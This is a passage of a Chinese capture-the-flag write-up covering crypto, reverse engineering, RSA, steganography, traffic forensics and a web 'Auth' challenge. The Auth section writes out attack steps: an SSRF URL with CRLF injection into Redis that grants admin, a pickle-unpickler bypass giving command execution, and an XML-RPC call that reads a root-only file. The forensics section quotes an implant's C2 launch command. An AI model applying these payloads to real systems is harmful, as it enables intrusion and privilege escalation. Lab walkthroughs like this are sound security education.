0xECBCE7AA, 0xF186C1E9, 0x05F19905, 0x66F2F5FC,
]
def rol32(v, n):
return ((v << n) | (v >> (32 - n))) & 0xFFFFFFFF
def tau(a):
return (
(SBOX[(a >> 24) & 0xFF] << 24)
| (SBOX[(a >> 16) & 0xFF] << 16)
| (SBOX[(a >> 8) & 0xFF] << 8)
| SBOX[a & 0xFF]
)
def T(a):
b = tau(a)
return (b ^ rol32(b, 2) ^ rol32(b, 10) ^ rol32(b, 18) ^ rol32(b, 24)) & 0xFFFFFFFF
def crypt_block(block16: bytes, rk):
x = [int.from_bytes(block16[i * 4:(i + 1) * 4], 'big') for i in range(4)]
for i in range(24):
x.append((x[-4] ^ T(x[-3] ^ x[-2] ^ x[-1] ^ rk[i])) & 0xFFFFFFFF)
return b''.join(x[j].to_bytes(4, 'big') for j in (27, 26, 25, 24))
def decrypt_ecb(data: bytes) -> bytes:
out = bytearray()
rkr = RK[::-1]
for i in range(0, len(data), 16):
out.extend(crypt_block(data[i:i + 16], rkr))
return bytes(out)
def try_unpad_pkcs7(data: bytes) -> bytes:
if not data:
return data
pad = data[-1]
if 1 <= pad <= 16 and data.endswith(bytes([pad]) * pad):
return data[:-pad]
return data
lines = [x for x in (BASE / '1.txt').read_text(encoding='utf-8').splitlines() if x.strip()]
out_lines = []
for line in lines:
obj = json.loads(line)
name = obj['filename']
ct = bytes.fromhex(obj['ciphertext'])
pt = try_unpad_pkcs7(decrypt_ecb(ct))
out_lines.append(f'===== {name} =====')
out_lines.append(pt.decode('utf-8', errors='replace'))
out_lines.append('')
out_file = BASE / '1_decrypted_output.txt'
out_file.write_text('\n'.join(out_lines), encoding='utf-8')
print('WROTE 1_decrypted_output.txt')
print('\n'.join(out_lines))
即可解密:
readme.txt
text
System Configuration Backup
===========================
Created: 2026-03-15
Author: admin
This backup contains sensitive configuration files.
Handle with care!
flag.txt
text
dart{f4b547fc-b3d0-44c3-bf21-8f3fb5ad3220}
config.txt
text
server_host=192.168.1.100
server_port=8888
test config
得到flag。
Re2
先看PE信息会发现:
- 入口点:0x4156c0
- 节名:CTF0 / CTF1 / CTF2
- 导入表:非常小,只有
LoadLibraryA / GetProcAddress / VirtualProtect / ExitProcess
应该是一个loader。入口0x4156c0很短,核心逻辑只是:
- 调整一处字节-调用
sub_415740
- 最后跳到0x4014e0
用静态分析sub_415740可以看出它做了三件事:
- 解压/还原0x401000附近代码。
- 修复导入。
- 调TLS /改页权限后跳到真正OEP 0x4014e0。
所以第一步要先把CTF0解出来。
用Unicorn把0x4156c0开始的stub跑到0x415820,把内存中的0x401000-0x40f000 dump出来,拿到真正的代码段。
在这份还原代码里可以找到两个关键字符串:
Error reading password.
Error: Invalid password!
以及一段显眼的常量:
NGeQwv8eCRpINEcO
继续顺着校验函数看,可以发现流程是:
- 读取输入。
- 与固定值比较。
- 正确的话,从程序内部提取一段Base64数据。
- 解码后写出第二阶段PE并执行。
第一部分解出来为:
NGeQwv8eCRpINEcO
第一阶段内嵌了一段很长的Base64 blob,解码后得到第二个PE,存为stage2.exe。
这个程序是正常PE,但有两个额外节:
其中.hello是加密代码,.mydata是加密数据。程序在0x401a10附近会按节名找到这两个节,然后调用RC4逻辑解密它们把.hello和.mydata解密后,关键函数是0x404ef0。这个函数逻辑是:
- 读取用户输入。
- 按16字节分组做PKCS#7填充。
- 调0x404cb0做分组加密。
- 比较结果是否等于
.mydata中存放的目标密文。
分析0x404ef0:
lea r9, [rip + 0x30ae]指向0x408021
mov rax, [rip + 0x308a]指向0x408031
mov rax, [rip + 0x3053]指向0x408039
所以真正参数不是最早的0x408008/0x408028,而是:
- key:0x408001开始的32字节
- iv:0x408021开始的16字节
- 密文:从0x408031开始连续存放
.hello解密后可以看出:
- 0x404940是AES-256的key expansion。
- 0x404070是ShiftRows。
- 0x404190 / 0x404b60 / 0x404cb0
可见第二阶段本质上是在做:
AES-256-CBC(key, iv, PKCS7(input))
然后把结果和.mydata里的目标密文链比较。用以下字节:
- key:0x408001的32字节
- iv:0x408021的16字节
去解.mydata中从0x408031开始的连续密文块,可以得到三段明文:
dart{c3d4f5cc-8a
ab-46ce-a188-2fc
453f3b288}\x06\x06\x06\x06\x06\x06
则flag为:
dart{c3d4f5cc-8aab-46ce-a188-2fc453f3b288}
Auth
题目是三段组合:
/profile/avatar的URL上传分支直接urllib.request.urlopen(req, timeout=10),存在SSRF,且支持file://任意文件读取。
- 同一个SSRF点可以通过CRLF注入访问本地Redis,已知Redis密码是
redispass123。
- 管理员页面
/admin/online-users会对Redis中的online_user:*做受限反序列化,虽然限制了find_class,但仍然允许getattr / setattr / __main__.OnlineUser,可以拼出一条利用链。
最后再结合容器里root权限运行的本地XML-RPC服务127.0.0.1:54321,通过其execute_command读取root-only的/flag。
确认任意文件读取
头像URL下载路径可以把响应内容base64后塞进<img src="data:...">,判断为SSRF,所以可以直接读本地文件,例如:
text
avatar_url=file:///app/app.py
从/app/app.py可以确认:
- Flask
secret_key放在Redis键app:secret_key
- 登录后会把
OnlineUser pickle到Redis:online_user:{username}
/admin/online-users会读取这些key并用RestrictedUnpickler反序列化
从/etc/redis/redis.conf可以拿到:
text
requirepass redispass123
用SSRF + Redis把自己的角色改成admin
先注册一个已知密码的用户,例如zzpwn / zzpwn。然后利用Redis注入:
text
http://127.0.0.1:6379/%0d%0aAUTH%20redispass123%0d%0aHSET%20user:zzpwn%20role%20admin%0d%0aQUIT%0d%0a
重新登录zzpwn后,/home已经显示角色是admin。
验证可控online_user:*,进入受限反序列化
利用继续通过Redis写online_user:zzpwn,先用一个无效值验证:
- 把
online_user:zzpwn改成hello
- 访问
/admin/online-users
- 页面出现
反序列化错误说明管理员页会真实读取写入的pickle数据。
绕过受限Unpickler
find_class很严格,只允许:
__main__.OnlineUser
builtins.getattr
builtins.setattr
builtins.dict
builtins.list
builtins.tuple
想到以下思路:
- 先构造一个正常的
OnlineUser对象2.用getattr(OnlineUser, "__init__")
- 再用
getattr(..., "__globals__")取到函数全局变量
- 从全局变量里拿到
os
- 用
os.popen(...).read()执行命令并拿输出
- 用
setattr(obj, "username", output)把结果写回对象属性
这样/admin/online-users在渲染<td>{online_user.username}</td>时就会直接显示命令输出。
先确认/flag存在
利用pickle RCE执行:
sh
ls -l /flag
页面显示:
text
-r-------- 1 root root 43 Mar 14 01:09 /flag
说明flag是root-only,直接cat /flag是没有输出的。
借本地root权限XML-RPC服务读flag
前面从文件读取里已经拿到本地服务源码/opt/mcp_service/...py,关键信息:
- 服务监听
127.0.0.1:54321
- token是
mcp_secure_token_b2rglxd
- 存在危险方法
execute_command
因此直接让pickle RCE执行下面这条命令:
sh
python -c "import xmlrpc.client;print(xmlrpc.client.ServerProxy('http://127.0.0.1:54321').execute_command('mcp_secure_token_b2rglxd','cat /flag'))"
管理员页最终显示:
text
{'command': 'cat /flag', 'returncode': 0, 'stdout': 'dart{f618975e-4935-4145-8f27-75430b8d2811}\n', 'stderr': '', 'success': True}
拿到flag:dart{f618975e-4935-4145-8f27-75430b8d2811}
Re1
看到一个视频和Loader,首先先分析Loader,发现实现逻辑大致是将数据变换到视频中去,那么就需要看一下加密流程。发现关键在于对一个stager_pyc_base64数组进行标准Base64:
cpp
std::string::basic_string(v16, stager_pyc_base64[0], &v10);
base64_decode(v15, v16);
那么先提取这个字符串进行解密:
python
import base64
b64_data ='''
Qg0NCgAAAABK5llpWgkAAOMAAAAAAAAAAAAAAAAFAAAAQAAA
AHN6AAAAZABkAWwAbQFaAQEAZABkAmwCWgJkAGQCbANaA2QA
[太长了此处省略。。。]
'''
try:
pyc_data = base64.b64decode(b64_data)
print(f"解码成功!大小: {len(pyc_data)}字节")
with open('extracted.pyc', 'wb') as f:
f.write(pyc_data)
print("已保存为extracted.pyc")
except Exception as e:
print(f"解码失败: {e}")
得到pyc后进行反编译,结果为:
python
from PIL import Image
import math
import os
import sys
import numpy as np
import imageio
from tqdm import tqdm
def file_to_video(input_file, width=640, height=480, pixel_size=8, fps=10, output_file='video.mp4'):
if not os.path.isfile(input_file):
return None
file_size = os.path.getsize(input_file)
binary_string = ''
with open(input_file, 'rb') as f:
for chunk in tqdm(iterable=iter(lambda: f.read(1024), b''), total=math.ceil(file_size / 1024), unit='KB', desc='读取文件'):
binary_string += ''.join((f'{byte:08b}' for byte in chunk))
xor_key = '10101010'
xor_binary_string = ''
for i in range(0, len(binary_string), 8):
chunk = binary_string[i:i + 8]
if len(chunk) == 8:
chunk_int = int(chunk, 2)
key_int = int(xor_key, 2)
xor_result = chunk_int ^ key_int
xor_binary_string += f'{xor_result:08b}'
else:
xor_binary_string += chunk
binary_string = xor_binary_string
pixels_per_image = width // pixel_size * (height // pixel_size)
num_images = math.ceil(len(binary_string) / pixels_per_image)
frames = []
for i in tqdm(range(num_images), desc='生成视频帧'):
start = i * pixels_per_image
bits = binary_string[start:start + pixels_per_image]
if len(bits) < pixels_per_image:
bits = bits + '0' * (pixels_per_image - len(bits))
img = Image.new('RGB', (width, height), color='white')
for r in range(height // pixel_size):
row_start = r * (width // pixel_size)
row_end = (r + 1) * (width // pixel_size)
row = bits[row_start:row_end]
for c, bit in enumerate(row):
color = (0, 0, 0) if bit == '1' else (255, 255, 255)
x1, y1 = (c * pixel_size, r * pixel_size)
img.paste(color, (x1, y1, x1 + pixel_size, y1 + pixel_size))
frames.append(np.array(img))
with imageio.get_writer(output_file, fps=fps, codec='libx264') as writer:
for frame in tqdm(frames, desc='写入视频帧'):
writer.append_data(frame)
if __name__ == '__main__':
input_path = 'payload'
if os.path.exists(input_path):
file_to_video(input_path)
else:
sys.exit(1)
发现这就是加密流程了,那么反向写解密:
python
import cv2
import numpy as np
video = "video.mp4"
width = 640
height = 480
pixel_size = 8
cap = cv2.VideoCapture(video)
bits = ""
while True:
ret, frame = cap.read()
if not ret:
break
gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
for r in range(height // pixel_size):
for c in range(width // pixel_size):
y = r * pixel_size + pixel_size // 2
x = c * pixel_size + pixel_size // 2
val = gray[y, x]
if val < 128:
bits += "1"
else:
bits += "0"
cap.release()
data = bytearray()
for i in range(0, len(bits), 8):
chunk = bits[i:i+8]
if len(chunk) < 8:
break
b = int(chunk, 2)
b ^= 0xAA
data.append(b)
with open("output_payload", "wb") as f:
f.write(data)
print("done")
特别需要注意libx264编码后,不一定纯黑纯白
最后分析output_payload可见它内置了42个MD5串,每个对应flag的一个ASCII字符。逐个反查后得到最终flag。
RSA
这个密码有三层:
- Level1:多组公钥加密后的密文,明文里是Asmuth-Bloom风格分片
- Level2:拿到下一层zip密码后,进入小私钥变体RSA
- Level3:给了一个自定义leak,通过逐位恢复素数分解n,最终解出flag
题目里加密逻辑是分支的:
- n位数>= 2048:RSA-OAEP加密对称密钥+ AES-GCM
- n位数< 2048:裸RSA直接加密16字节AES密钥(无填充)这是典型攻击面。
对所有公钥做分析后,命中了多种弱点:
- 共模因子(gcd)
- Wiener小私钥攻击-近素数(Fermat)分解
- 极小多素数模数(key-5,198bit)
由此恢复出多把私钥,再批量尝试解密ciphertext-1到ciphertext-10,成功解出7份plaintext。每份plaintext第一行是提示文本,后面9行是share(对应message2到message10)。接着按阈值做CRT重构:
message2需要2份
message3需要3份
- ...
message7需要7份
我们正好有7份,所以可恢复到message7,得到关键信息:
Congratulations! next pass is 9Zr4M1ThwVCHe4nHnmOcilJ8。
用这个密码解开level2.zip。
Level2给了nnn、eee、c1c1c1、c2c2c2、c3c3c3和多项式信息。脚本里可见:
- ddd是180 bit素数
- eee是ddd关于λ(n)\lambda (n)λ(n)的逆元,但不是关于ϕ(n)\phi(n)ϕ(n)的标准形
考虑做Wiener的λ\lambdaλ变体,扫描小g,恢复d。
拿到ddd后,可用经典方法从e,d,ne,d,ne,d,n反推出p,qp,qp,q(利用k=e∗d−1k=e*d-1k=e∗d−1的2-adic分解和随机基求因子)。得到p+qp+qp+q后算sha256,获得level3.zip密码:
2aa9c360df99cbb4209e4dbab5a9f9ffd86d34906e3206fecfdabf0bb7aeb5ac
Level3给出:
- n,e,cn,e,cn,e,c
- 复杂leak表达式(含异或、与或、位移、常数乘法、低位混合)
已知n=p∗qn = p*qn=p∗q;再结合leak的低位表达式,可以按位从低到高恢复p,qp,qp,q。做法是逐位lifting:
- 初始p0=q0=1p0=q0=1p0=q0=1(奇素数最低位为1)
- 第k位枚举bpbpbp,bq∈{0,1}bq \in \{0,1\}bq∈{0,1}
- 同时约束:
- pp∗qqmod 2(k+1)==nmod 2(k+1)pp*qq \mod 2^{(k+1)} == n \mod 2^{(k+1)}pp∗qqmod2(k+1)==nmod2(k+1)
- leak(pp,qq)mod 2(k+1)==目标低位leak(pp,qq) \mod 2^{(k+1)} == \text{目标低位}leak(pp,qq)mod2(k+1)==目标低位
题目实例里每一步都唯一,直接推进到1536位。恢复完整p,q后:
- 算ϕ(n)\phi(n)ϕ(n)
- d=e−1mod ϕ(n)d = e^{-1} \mod \phi(n)d=e−1modϕ(n)
- m=cdmod nm = c^d \mod nm=cdmodn
- 转字节得到flag
最终:
dart{379c9308-e9a8-45a1-bd55-45bbd822e86d}
Steganography
附件中的文件steganography_challenge没有扩展名,因此先从文件头和字符串入手分析。观察到:
- 文件中存在
PNG魔数,但不在文件开头
- 文件尾部还能看到
layer2.png这个UTF-16字符串
这说明它不是一个普通的PNG,而是:
- 前面带有垃圾前缀
- 中间嵌了真正的PNG
- 后面还挂了额外元数据
定位真实PNG
扫描字节后发现:
- PNG起始偏移是
35
IEND之后还有额外尾部数据
于是可以把中间的PNG提出来作为第一层图片。不过这张PNG结构被刻意做坏了:IDAT被拆成多个块,并且块之间插入了脏字节,PNG正常无法解析。但Windows GDI+仍然能把它渲染出来,所以打算直接把它“显示后另存”为一张正常图片,可以生成:gdi_render.png
从图片做LSB提取
对gdi_render.png做RGB通道最低位拼接,结果在字节流偏移4的位置命中了:
text
PK\x03\x04
这说明图片的RGB-LSB里藏了一个ZIP。继续导出后得到:lsb_rgb_from_pk.zip
列目录可见里面有:
flag.zip
pass1.zip
pass2.zip
pass3.zip
pass4.zip
pass5.zip
pass6.zip
恢复ZIP密码
每个pass*.zip里都有一个4字节的data*.txt,但被加密了。由于这些文件非常小,而且ZIP元数据里直接给了CRC32,可以反过来恢复4字节明文。恢复结果如下:
data1.txt -> pass
data2.txt -> is
data3.txt -> c1!x
data4.txt -> xtLf
data5.txt -> %fXY
data6.txt -> PkaA
拼起来就是:
text
pass is c1!xxtLf%fXYPkaA
因此实际用于解开flag.zip的密码是:
text
c1!xxtLf%fXYPkaA
提取flag
用密码打开flag.zip后,得到flag.txt。文件内容开头是:
text
flag is here
后面跟着大量零宽字符:
尝试按二进制解码:
每8位一组转ASCII解出最终flag:
text
dart{bf4100d9-cc8d-48f6-a095-54cbfad189e1}
TrafficHunt
题目目录里只有一个流量包:traffic_hunt.pcapng
先对流量做整体观察,可以发现两段明显行为:
- 前半段是
10.1.243.155 -> 10.1.33.69:8080的大规模Web路径扫描。
- 后半段出现了成功利用、植入内存马、加密通信等明显攻击特征。
解题重点应该不在扫描,而在后半段成功利用后的通信。观察到在404182附近,攻击者向/发起带超长rememberMe Cookie的请求,有点像Apache Shiro反序列化利用。
关键帧:
404182 GET / rememberMe=...
404184响应$$$cm9vdAo=$$$ -> base64解码后是root
404187 GET / rememberMe=...
404189响应$$$Lwo=$$$ ->解码后是/
404192 GET / rememberMe=...
404194响应为base64包裹的目录列表- 404199 GET / rememberMe=...
404201响应为w命令输出
说明攻击者已经通过Shiro拿到了命令执行能力。从404194解码后的目录列表中,可以看到目标是一个Linux容器,根目录下有:shirodemo-1.0-SNAPSHOT.jar
后面出现一条关键请求:
404204 POST /
404209响应->|Success|<-
这基本可以判断是攻击者通过RCE往Tomcat/Spring容器里注入了一个内存马。把404204的请求体提出来分析后,可以发现它不是普通表单,而是一个base64的Java class。反编译后得到:
java
Compiled from "BehinderFilter.java"
public final class com.summersec.x.BehinderFilter extends java.lang.ClassLoader implements
javax.servlet.Filter
里面直接写明了几个关键值:
Pwd = eac9fa38330a7535
path = /favicondemo.ico
也就是攻击者植入的是一个Behinder风格的内存马,访问路径为:/favicondemo.ico
这个BehinderFilter的equals()方法里还有一段关键逻辑:
this.Pwd = md5(request.getHeader("p")).substring(0,16)
this.path = request.getHeader("path")
而植入请求404204的HTTP头里正好有:
p: HWmc2TLDoihdlr0N
path: /favicondemo.ico
所以真正用于后续通信的AES key是:
md5("HWmc2TLDoihdlr0N")[:16] = 1f2c8075acd3d118
后续大量请求都打到:
POST /favicondemo.ico
Referer: http://10.1.33.69:8080/1nt1.ico
请求体和响应体都是base64文本。根据BehinderFilter逻辑,可以得出解密方式:
1.先base64解码
2.再用AES-ECB-PKCS5Padding,key为:1f2c8075acd3d118
解开后可以看到这其实是典型的Behinder payload通信,前几组非常关键:
- Echo.java
- BasicInfo.java
- Cmd.java
- FileOperation.java
其中拿到了一些情报:
whoami -> root
pwd -> /
w -> 当前登录信息
ps -ef -> java -jar /shirodemo-1.0-SNAPSHOT.jar
并且发现攻击者在用FileOperation往/var/tmp/out分块上传一个文件。
FileOperation的class常量池里能看到:
mode = update
path = /var/tmp/out
blockSize = 30720
blockIndex = ...
content = ...
说明上传文件是按块分片传输的,每块30720字节。把所有/var/tmp/out的分块按blockIndex排序重组后,得到文件:
/var/tmp/out
size = 10790868
最开始如果直接拼接会得到错序文件,正确做法是按blockIndex重排。重排后文件头是:7f 45 4c 46也就是标准ELF。继续看这个ELF,发现里面有UPX!标记,说明被UPX压缩。解包后还能看到PyInstaller特征字符串,例如:
Py_DecodeLocale
Py_Finalize
pyiboot01_bootstrap.pyc
implant.pyc
所以这不是普通原生程序,而是一个PyInstaller打包的Python木马。把out_unpacked.bin用pyinstxtractor解包后,得到核心文件:implant.pyc虽然直接反编译不完整,但反汇编已经足够读出逻辑。核心点:
- 木马通过命令行参数接收:
--aes-key
- 它把这个参数做base64解码,作为AES-GCM密钥:
set_aes_key(key_b64)
AESGCM(key)
3.它主动连接:10.1.243.155:7788
4. C2协议格式是:4字节长度+ AES-GCM( nonce + ciphertext+tag )
5.木马不断接收命令并执行,再把结果回传。更关键的是,流量里攻击者最后执行了:
cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=
这就给出了最后一段C2通信的真正解密密钥。在流量尾部可以看到一条新连接:10.1.33.69:38162 -> 10.1.243.155:7788这正是out启动后的反连。用key:IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=
base64解码后,按AES-GCM解密7788会话,得到完整命令和结果:服务端下发:
bash
pwd
ls
echo Congratulations
echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi
echo bye
客户端回显:
bash
/var/tmp
out
Congratulations
3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi
bye
这里就是关键数据。字符串:3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi是Base58编码。解码后得到:ZGFydHtkOTg1MGIyNy04NWNiLTQ3NzctODVlMC1kZjBiNzhmZGI3MjJ9再做一层base64解码,得到:dart{d9850b27-85cb-4777-85e0-df0b78fdb722}